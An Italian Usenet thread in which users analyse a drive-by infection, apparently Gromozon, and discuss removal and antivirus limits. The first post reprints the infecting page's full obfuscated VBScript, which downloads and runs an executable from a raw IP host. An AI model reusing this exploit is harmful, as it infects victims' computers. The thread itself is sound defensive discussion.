Newsgroup: it.comp.sicurezza.varie
Titolo: Attenzione sito/virus.

Ciao, oggi verso le undici di sera passo a casa di un mio amico e lo
vedo al pc. Mi siedo con lui e noto subito una cosa strana: una
finestra aperta, Caption = 0001, con una combo in cui compare il suo
modem ADSL usb fornito da Alice e due pulsanti OK, ESCI. CTRL+ALT+CANC
mi dice che in esecuzione c'è un processo di nome it_0152.exe ma una
ricerca su Google si rivela infruttuosa. Chiudo la finestra e termina
anche quel processo al che deduco:
it_0152.exe ---> finestra
Do una rapida occhiata sul desktop e trovo un file assurdo:
917201941.dll. Una ricerca su Google e scopro che trattasi di
bho_html_DLL, essendo questo - infatti - il nome interno del file. In
C:\WINDOWS trovo anche questo file 1633810547.exe con data di creazione
identica al file .dll sul desktop, ma il NOD32 aggiornato non lo rileva
come virus. Il NOD32 non rileva come virus neanche 917201941.dll che è
impossibile da eliminare.
Questo mio amico allora mi dice di essere andato su un sito che gli ha
aperto una pagina bianca...e basta.
Il sito è il seguente:
http://195.225.176.34/stat2/0152/index.php?id=2&wid=112l1&sgid=210
e il suo codice html è il seguente:
<Script Language="JavaScript">
var
var1683617763=unescape('%3C%53%43%52%49%50%54%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63'+
'%72%69%70%74%22%3E%0D%0A%20%20%20%20%49%66%20%6E%61%76%69%67%61%74'+
'%6F%72%2E%61%70%70%4E%61%6D%65%3D%22%4D%69%63%72%6F%73%6F%66%74%20'+
'%49%6E%74%65%72%6E%65%74%20%45%78%70%6C%6F%72%65%72%22%20%54%68%65'+
'%6E%0D%0A%20%20%20%20%49%66%20%49%6E%53%74%72%28%6E%61%76%69%67%61'+
'%74%6F%72%2E%70%6C%61%74%66%6F%72%6D%2C%22%57%69%6E%33%32%22%29%20'+
'%3C%3E%20%30%20%20%54%68%65%6E%0D%0A%0D%0A%20%20%20%20%44%69%6D%20'+
'%4F%62%6A%5F%4E%61%6D%65%0D%0A%20%20%20%20%44%69%6D%20%4F%62%6A%5F'+
'%50%72%6F%67%0D%0A%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62'+
'%6A%5F%52%44%53%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74'+
'%65%45%6C%65%6D%65%6E%74%28%22%6F%62%6A%65%63%74%22%29%0D%0A%20%20'+
'%20%20%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65'+
'%20%22%69%64%22%2C%20%22%6F%62%6A%5F%52%44%53%22%0D%0A%20%20%20%20'+
'%6F%62%6A%5F%52%44%53%2E%73%65%74%41%74%74%72%69%62%75%74%65%20%22'+
'%63%6C%61%73%73%69%64%22%2C%20%22%63%6C%73%69%64%3A%42%44%39%36%43'+
'%35%35%36%2D%36%35%41%33%2D%31%31%44%30%2D%39%38%33%41%2D%30%30%43'+
'%30%34%46%43%32%39%45%33%36%22%0D%0A%20%20%20%20%0D%0A%20%20%20%20'+
'%66%6E%20%3D%20%22%31%36%33%33%38%31%30%35%34%37%2E%65%78%65%22%0D'+
'%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26%20'+
'%22%68%22%20%26%20%22%65%22%20%26%20%22%6C%22%20%26%20%22%6C%22%20'+
'%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22%41'+
'%22%20%26%20%22%70%22%20%26%20%22%70%6C%22%20%26%20%22%69%22%20%26'+
'%20%22%63%61%22%20%26%20%22%74%69%22%20%26%20%22%6F%6E%22%20%20%20'+
'%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%53%68%65%6C%6C%41%70'+
'%70%20%3D%20%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A%65'+
'%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62'+
'%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%53%65%74%20%6F%46'+
'%6F%6C%64%65%72%20%3D%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70%2E%4E'+
'%61%6D%65%53%70%61%63%65%28%32%30%29%0D%0A%20%20%20%20%53%65%74%20'+
'%6F%46%6F%6C%64%65%72%49%74%65%6D%3D%6F%46%6F%6C%64%65%72%2E%50%61'+
'%72%73%65%4E%61%6D%65%28%22%53%79%6D%62%6F%6C%2E%74%74%66%22%29%0D'+
'%0A%20%20%20%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E%65'+
'%6E%74%73%3D%53%70%6C%69%74%28%6F%46%6F%6C%64%65%72%49%74%65%6D%2E'+
'%50%61%74%68%2C%22%5C%22%2C%2D%31%2C%31%29%0D%0A%20%20%20%20%57%69'+
'%6E%44%69%72%3D%20%46%6F%6E%74%5F%50%61%74%68%5F%43%6F%6D%70%6F%6E'+
'%65%6E%74%73%28%30%29%20%26%20%22%5C%22%20%26%20%20%46%6F%6E%74%5F'+
'%50%61%74%68%5F%43%6F%6D%70%6F%6E%65%6E%74%73%28%31%29%20%26%20%22'+
'%5C%22%0D%0A%20%20%20%20%66%6E%3D%57%69%6E%44%69%72%20%26%20%66%6E'+
'%0D%0A%20%20%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65'+
'%20%3D%20%22%4D%69%22%20%26%20%22%63%72%22%20%26%20%22%6F%73%6F%66'+
'%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D'+
'%20%22%58%22%20%26%20%22%4D%22%20%26%20%22%4C%48%54%54%22%20%26%20'+
'%22%50%22%20%20%20%20%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%6D'+
'%73%78%6D%6C%32%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28%4F'+
'%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50%72'+
'%6F%67%29%0D%0A%20%20%20%20%6F%62%6A%5F%6D%73%78%6D%6C%32%2E%6F%70'+
'%65%6E%20%22%47%22%20%26%20%22%45%22%20%26%20%22%54%22%2C%22%68%74'+
'%74%70%3A%2F%2F%31%39%35%2E%32%32%35%2E%31%37%36%2E%33%34%2F%73%74'+
'%61%74%32%2F%30%31%35%32%2F%73%65%72%76%69%63%65%33%32%2E%65%78%65'+
'%22%2C%46%61%6C%73%65%0D%0A%20%20%20%20%6F%62%6A%5F%6D%73%78%6D%6C'+
'%32%2E%73%65%6E%64%0D%0A%20%20%20%20%4F%6E%20%45%72%72%6F%72%20%52'+
'%65%73%75%6D%65%20%4E%65%78%74%0D%0A%20%20%20%20%0D%0A%20%20%20%20'+
'%4F%62%6A%5F%4E%61%6D%65%20%3D%20%22%41%44%22%20%26%20%22%4F%44%42'+
'%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D%20'+
'%22%53%74%22%20%26%20%22%72%65%61%22%20%26%20%22%6D%22%20%20%20%20'+
'%0D%0A%20%20%20%20%73%65%74%20%6F%62%6A%5F%61%64%6F%64%62%20%3D%20'+
'%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%4F'+
'%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50%72'+
'%6F%67%2C%22%22%29%0D%0A%20%20%20%20%49%66%20%45%72%72%2E%4E%75%6D'+
'%62%65%72%20%54%68%65%6E%0D%0A%20%20%20%20%0D%0A%20%20%20%20%4F%62'+
'%6A%5F%4E%61%6D%65%20%3D%20%22%53%22%20%26%20%22%63%22%20%26%20%22'+
'%72%69%70%74%22%20%26%20%22%69%6E%67%22%20%20%20%20%0D%0A%20%20%20'+
'%20%4F%62%6A%5F%50%72%6F%67%20%3D%20%22%46%22%20%26%20%22%69%22%20'+
'%26%20%22%6C%65%53%79%22%20%26%20%22%73%74%65%22%20%26%20%22%6D%4F'+
'%22%20%26%20%22%62%6A%65%63%74%22%20%20%20%20%0D%0A%20%20%20%20%53'+
'%65%74%20%6F%62%6A%5F%46%69%6C%65%53%79%73%3D%6F%62%6A%5F%52%44%53'+
'%2E%43%72%65%61%74%65%4F%62%6A%65%63%74%28%4F%62%6A%5F%4E%61%6D%65'+
'%20%26%20%22%2E%22%20%26%20%4F%62%6A%5F%50%72%6F%67%2C%22%22%29%0D'+
'%0A%20%20%20%20%53%65%74%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65'+
'%3D%6F%62%6A%5F%46%69%6C%65%53%79%73%2E%43%72%65%61%74%65%54%65%78'+
'%74%46%69%6C%65%28%66%6E%2C%20%54%52%55%45%29%0D%0A%20%20%20%20%64'+
'%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%5F%73%69%7A%65%3D%4C%65%6E%42'+
'%28%58%4D%4C%42%6F%64%79%29%0D%0A%20%20%20%20%46%6F%72%20%69%3D%31'+
'%20%54%6F%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%5F%73%69%7A%65'+
'%20%0D%0A%20%20%20%20%63%42%79%74%65%3D%4D%69%64%42%28%58%4D%4C%42'+
'%6F%64%79%2C%69%2C%31%29%0D%0A%20%20%20%20%42%79%74%65%43%6F%64%65'+
'%3D%41%73%63%42%28%63%42%79%74%65%29%0D%0A%20%20%20%20%64%6F%77%6E'+
'%6C%6F%61%64%5F%66%69%6C%65%2E%57%72%69%74%65%28%43%68%72%28%42%79'+
'%74%65%43%6F%64%65%29%29%0D%0A%20%20%20%20%4E%65%78%74%0D%0A%20%20'+
'%20%20%64%6F%77%6E%6C%6F%61%64%5F%66%69%6C%65%2E%43%6C%6F%73%65%0D'+
'%0A%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%4E%61%6D%65%20%3D%20'+
'%22%57%22%20%26%20%22%53%63%22%20%26%20%22%72%22%20%26%20%22%69%70'+
'%74%22%20%20%20%20%0D%0A%20%20%20%20%4F%62%6A%5F%50%72%6F%67%20%3D'+
'%20%22%53%68%22%20%26%20%22%65%22%20%26%20%22%6C%22%20%26%20%22%6C'+
'%22%20%20%20%20%0D%0A%20%20%20%20%53%65%74%20%20%6F%62%6A%5F%57%53'+
'%68%65%6C%6C%3D%6F%62%6A%5F%52%44%53%2E%43%72%65%61%74%65%4F%62%6A'+
'%65%63%74%28%4F%62%6A%5F%4E%61%6D%65%20%26%20%22%2E%22%20%26%20%4F'+
'%62%6A%5F%50%72%6F%67%2C%22%22%29%0D%0A%20%20%20%20%4F%6E%20%45%72'+
'%72%6F%72%20%52%65%73%75%6D%65%20%4E%65%78%74%0D%0A%20%20%20%20%6F'+
'%62%6A%5F%57%53%68%65%6C%6C%2E%52%75%6E%20%66%6E%2C%31%2C%46%41%4C'+
'%53%45%0D%0A%20%20%20%20%45%6C%73%65%0D%0A%20%20%20%20%6F%62%6A%5F'+
'%61%64%6F%64%62%2E%54%79%70%65%3D%31%0D%0A%20%20%20%20%6F%62%6A%5F'+
'%61%64%6F%64%62%2E%4F%70%65%6E%0D%0A%20%20%20%20%6F%62%6A%5F%61%64'+
'%6F%64%62%2E%57%72%69%74%65%28%6F%62%6A%5F%6D%73%78%6D%6C%32%2E%72'+
'%65%73%70%6F%6E%73%65%42%6F%64%79%29%0D%0A%20%20%20%20%6F%62%6A%5F'+
'%61%64%6F%64%62%2E%53%61%76%65%54%6F%46%69%6C%65%20%66%6E%2C%32%0D'+
'%0A%20%20%20%20%6F%62%6A%5F%53%68%65%6C%6C%41%70%70%2E%53%68%65%6C'+
'%6C%45%78%65%63%75%74%65%20%66%6E%0D%0A%20%20%20%20%45%6E%64%20%49'+
'%66%0D%0A%20%20%20%0D%0A%20%20%20%20%45%6E%64%20%49%66%0D%0A%20%20'+
'%20%20%45%6E%64%20%49%66%0D%0A%20%20%20%0D%0A%3C%2F%53%43%52%49%50'+
'%54%3E%0D%0A%0D%0A');
document.write(var1683617763);
</Script>
Penso quindi che questa roba gli sia stata scaricata/creata dal sito.
Mi sapete dire di che virus si tratta e cosa fa?! E come mai il NOD32
non gli ha trovato NULLA?
Grazie mille.

non gli ha trovato NULLA?
Perche' questi inarrivabili stronzi hanno una squadra di gente che non ha
nient'altro da fare che creare nuove versioni di questo trojan/dialer/Dio
sa cos'altro. Ne esce una ogni dodici ore.
Almeno credo: ormai mi sono arreso, ho bloccato la rete 195.225.spiccioli
dal firewall e amen. Funziona benissimo e non consuma CPU.
Leonardo
-- 
Dawn is near, the time is short (Human aircraft! Hard to port!)
We eight reindeers of the night work as one in silent flight.
Let not one damn house pass by (Who taught that guy how to fly?)
Each year sees more girls and boys: how many of them can we bring toys?

 Leonardo
Ciao Leo, è bello leggerti ogni volta :-)
Cmq a questo mio amico, come a me, poco frega di questa roba. Con
DriveImageXML gli basterà ripristinare un'immagine pulita del sistema
e via. Ma meno male che son passato da lui...stavo quasi quasi andando
a casa mia...
L'unico cruccio è: è possibile che questo rootkit infetti anche i
file .dat creati da DriveImageXML e che contengono l'immagine vera e
propria?

propria?
I file immagini sono da tenere offline.
-- 
Ci sono 10 tipi di persone al mondo: quelle che capiscono il sistema binario
e quelle che non lo capiscono.

 I file immagini sono da tenere offline.
Glielo avevo detto mille volte :( ma è proprio di coccio.

?! Quindi? Che c'entra questo appunto?
E' poco corretto nei confronti degli altri.


> E' poco corretto nei confronti degli altri.
Ma è poco corretto cosa?!?!?!?!

propagarsi.
Forse hai frainteso: gli importa poco di essersi impestato, non perche'
lo lascia cosi', ma perche' con DriveImageXML ripristina facile.
Almeno cosi' ho capito io.


Ma è poco corretto cosa?!?!?!?!
Lasciare che la macchina si impesti di virus e che continui a spandere
l'infezione.
Nel momento in cui la tua macchina è infetta, va in giro a diffondere
l'infezione.
E' un po' come dire "Ho le gomme chiodate che perdono chiodi
sparandoli a destra e manca, ma non me ne frega niente perché tanto
quando arrivo a casa ho l'attrezzatura per rimetterne di nuovi".
Oppure "Ho la macchina che lascia in giro una pisciata d'olio, ma non
me ne frega niente perché tanto quando arrivo a casa ce lo rimetto".
Inoltre (e questo ti interessa anche egoisticamente parlando) una
macchina con un rootkit sopra può essere usata anche per compiere cose
illegali, e tu sarai il primo ad essere rintracciato.


 illegali, e tu sarai il primo ad essere rintracciato.
Guarda che il senso di quello che ho detto è quello che ha detto Leo.
Infatti ieri sera gli ho fatto subito sistemare la macchina. Lo so
benissimo che lasciare in giro una macchina infetta non è corretto!!!!

Almeno cosi' ho capito io.
Beh, dipende dalla finestra temporale dell'impestaggio... ai primi
sintomi ripristina oppure tiene duro finché la macchina non diventa
inutilizzabile?


 inutilizzabile?
A parte che questo mio amico non ci capisce niente di pc :-) ma come
gli dico che si è preso un virus in due secondi pialla tutto..
Cmq ho voluto provare: mi sono fatto infettare, cioè...sono andato su
quel sito, NOD32 aggiornato mi vede correttamente il tentativo di
infezione da parte di quell'url bloccandomi il file syst32.dll in
c:\windows però sul desktop mi sono trovato ugualmente quel file dll,
mi è apparsa regolarmente quella finestra con caption 0001 e ho quel
file numero.exe in c:\windows...
Come mai NOD32 pur bloccandomi quel file non ha impedito la creazione
di questi files?!

 di questi files?!
Benvenuto nel club.
Perche' c'e' almeno un metodo di infezione che riesce a passare sotto
il naso di nod, il quale, pero', riconosce poi ogni tentativo di fare
incetta di worm, trojan e quant'altro.
Sto studiando la cosa, finora non ho ancora trovato da quale pertugio
riesce a infilarsi prima di essere beccato, almeno quella variante.
Perche' altre varianti le intercetta al volo.
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net

 incetta di worm, trojan e quant'altro.
Si, questo si, ma calcola che il NOD32 intercetta tre volte al secondo
- controllato nel log in tempo reale - il file che cmq è sempre li.
Inoltre il virus/worm/rootkit crea o modifica il file service32.exe in
c:\Windows il quale tenta code-injection in Firefox.exe, evento che mi
viene bloccato da Kerio. Il Kerio, tuttavia, non mi chiede nulla circa
possibili file che vogliono accedere alla rete, quindi forse non
vedendo il traffico di rete di tale infezione. Aggiungo che ad un certo
punto il file numero.dll presente sul desktop diventa eliminabile,
fatto che significa che qualunque processo lo teneva bloccato termina.
Per finire: nè RootkitReveleaer ne Gmer vedono alcunchè di strano a
parte
RootkitRevelear: due discrepanze in chiavi di registro che ora non
ricordo, di 4KB
Gmer: file tracking.log e MountRemoteDatabase (nome a memoria) presente
nella cartella System Volume Informatio di ogni unità.

 Per finire: nè RootkitReveleaer ne Gmer vedono alcunchè di strano
Confermo, non sembra un rootkit.
Oltre al file <..\Desktop\9numero.dll> e <C:\Windows\system32.exe> ho 
trovato anche i file:
<C:\Windows\numero.exe>
<C:\Windows\syst32.dll>
(non so però se sono segna di altre infezioni, c'è da dire che XP era 
fermo alla SP1 e il tipo usa IE+OE - anche se dietro router+firewall)
che comunque sono riuscito a togliere dalla macchina infetta con le 
semplici utility delle sysinternals, terminando prima i processi.
Comunque mi piacerebbe capirne di più...
Ciao.
-- 
 /   _ _ | Navigare necesse est, vivere non est necesse  -- Pompeo
( (/( (/ | Concepción, Victoria, Sant'Antonio, Trinidad, Sant Jago

 trovato anche i file:
Il nome del file 9.. e' composto da data e ora dell'infezione, e rende
parecchio piu' facile trovare cio' che e' nato in quel momento. ;-)


 aggiunta in mezzo al nome del moduletto lecito.
Ciao, mi spieghi che vuol dire 'dentro un Alternate Data Stream'?
Infine, una considerazione: perchè mai questi tipi hanno fatto in modo
che sul desktop venisse creato un file .dll? Sembra quasi che lo
abbiano fatto apposta...considerando poi che come hai fatto noatre i
numeri sono data+ora dell'infezione.... Io mi sono accorto
dell'infezione sul pc di quel mio amico proprio perchè ho visto quel
coso sul desktop, sennò non mi sarei mai accorto di alcunchè....(beh
mai no, però....)

 Il nome del file 9.. e' composto da data e ora dell'infezione,
Grazie delle info aggiuntive :)


 che sul desktop venisse creato un file .dll? Sembra quasi che lo
Beh, non sono certo nella testa dei virus writer per poterti rispondere
con cognizione di causa.
Potrebbe anche essere stato un errore, dei virus bacati se ne sono
visti.
Ricorda comunque che quello di cui stiamo discutendo e' una infezione
complessa, composta da piu' malware collegati e che si scaricano in
sequenza.
Se non fosse stata bloccata almeno in parte, probabilmente quei file
non saresti riuscito a vederli, il rootkit li nasconde alle normali
API di windows.


 Oggi mi č capitata una macchina (con gromozon, non col click.small o 
Il click* e' solo una delle varianti.
Ce ne sono, appunto, diecine.
Capisco la difficolta' degli antivirus a starci dietro.
Aproposito: chi afferma che un antivirus che non controlla il traffico
http o le mail e' comunque sicuro, visto che il virus lo scoprirebbe nel
momento in cui scrive su disco, deve ripensarci su, visto che non sono
molti gli av che controllano anche gli ADS al volo.


 
http://snipurl.com/wrq0
Hey, grazie, bellissimo articolo!!!!! Scritto anche molto bene!!!!!!!!


Uno dei tipici miti e leggende metropolitane di internet č che
l'antivirus becca tutti i virus e che il firewall tiene fuori i
cattivoni, sempre e comunque. Niente di piů falso.
A differenza del firewall (es. un banale Packet Filter), inoltre, un
antivirus č considerato una soluzione, di sicurezza, reattiva e non
proattiva, proprio perchč risolve solo i problemi di sicurezza, una
volta scoperti e conosciuti.
In certi casi, son presenti soluzioni proattive (es. scanner
euristici, HIPS/Behavior Blockers, ecc.), ma non tutti son cosě.
Se vuoi fare un opera pia, invia i files che reputi infetti, allo
sviluppatore del NOD. Se il tuo amico s'č infettato, almeno, cerca di
essere solidale ed evitare che a qualcun altro capiti la stessa sorte.